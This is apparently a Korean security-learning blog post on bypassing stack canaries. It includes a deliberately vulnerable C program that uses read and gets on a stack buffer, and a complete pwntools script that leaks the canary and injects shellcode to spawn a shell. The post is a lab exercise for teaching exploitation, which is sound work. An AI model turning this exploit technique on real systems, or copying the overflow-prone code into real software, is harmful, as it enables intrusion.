아래 글을 보고 읽으면 더 이해가 잘 될 것이다

 

[시스템] 스택 카나리 우회(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 


 

코드 설명

buf 주소 및 rbpbuf 사이의 주소 차이를 출력하고

(버퍼의 주소를 알거나 구할 수 있어야 공격이 가능)

스택 버퍼인 buf에 두 번의 입력을 받는다

이때 두 번 모두 오버플로우가 발생한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

스택 구조

 

+------------------------+  <- 낮은 주소
| buf[0x50] (80 bytes) |  <- 입력 버퍼
+------------------------+
Canary                 |  <- 스택 카나리 (스택 오버플로우 방지)
+------------------------+
| Saved $rbp           |  <- 이전 프레임의 베이스 포인터
+------------------------+
| Return Address    | <- 복귀 주소 
+------------------------+  <- 높은 주소

 

 

 

두번째 입력으로 반환 주소(rbp)를 덮을 수 있지만, 중간에 카나리까지 덮여진다

카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다

 

그러므로 첫 번째 입력에서 buf에 오버플로우를 발생시켜서

카나리 값을 알아낸 후 이를 두 번째 입력에 사용해야 한다

 

 

 


실습

 

 

 

위 소스코드를 컴파일

-zexecstack 옵션은 스택에 실행 권한을 부여하여, 스택에서 실행되는 코드를 허용함

 

 

 

 

리눅스에는 다양한 바이너리 보호기법이 존재

checksec - 보호기법을 파악할 때 사용하는 툴

RELRO, STACK CANARY, PIE 등의 보호기법이 적용되어 있는 것을 확인

 

 

 

 

 

익스플로잇 코드

 

def slog(n, m): return success(': '.join([n, hex(m)]))

익스플로잇 진행 중 로그를 표시한다

 

p = process('./r2s')

바이너리를 실행하여 프로세스 시작

 

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)

프로그램 출력에서 "buf: "까지 읽는다

buf의 주소를 16진수로 변환하여 저장

 

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8

buf와 $rbp 사이의 거리를 계산

buf카나리 사이의 거리를 계산

 

payload = b'A'*(buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

buf카나리 사이의 거리(buf2cnry)만큼 패딩('A')을 채워 카나리를 노출

+1은 첫 번째 null 바이트를 고려한 추가 길이다

p.sendafter - 카나리 값을 읽기 위해 패이로드를 전송

노출된 카나리 값을 읽고 64비트 정수로 변환한다(카나리는 항상 첫 바이트는 널이므로 \x00으로 채운다)

 

sh = asm(shellcraft.sh())

pwntools의 쉘코드 생성 기능을 사용해 쉘을 실행하는 기계어 코드를 생성

 

payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)

스택에 실행 가능한 쉘코드 + 패딩(카나리까지 거리) + 알아낸 카나리 값 + 패딩(8 바이트) + buf

|              buf[0x50] (80 bytes)                                   | + |        Canary        | + | Saved $rbp| + | Return Address |

리턴 주소를 buf로 덮어써서 buf의 쉘코드가 실행되도록 한다

 

p.interactive()

익스플로잇 실행 후, 쉘과 상호작용할 수 있는 상태로 진입

 

 

 

전체 코드

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

 

 

익스플로잇 코드 실행 결과

 

 

성공!

 

+ Recent posts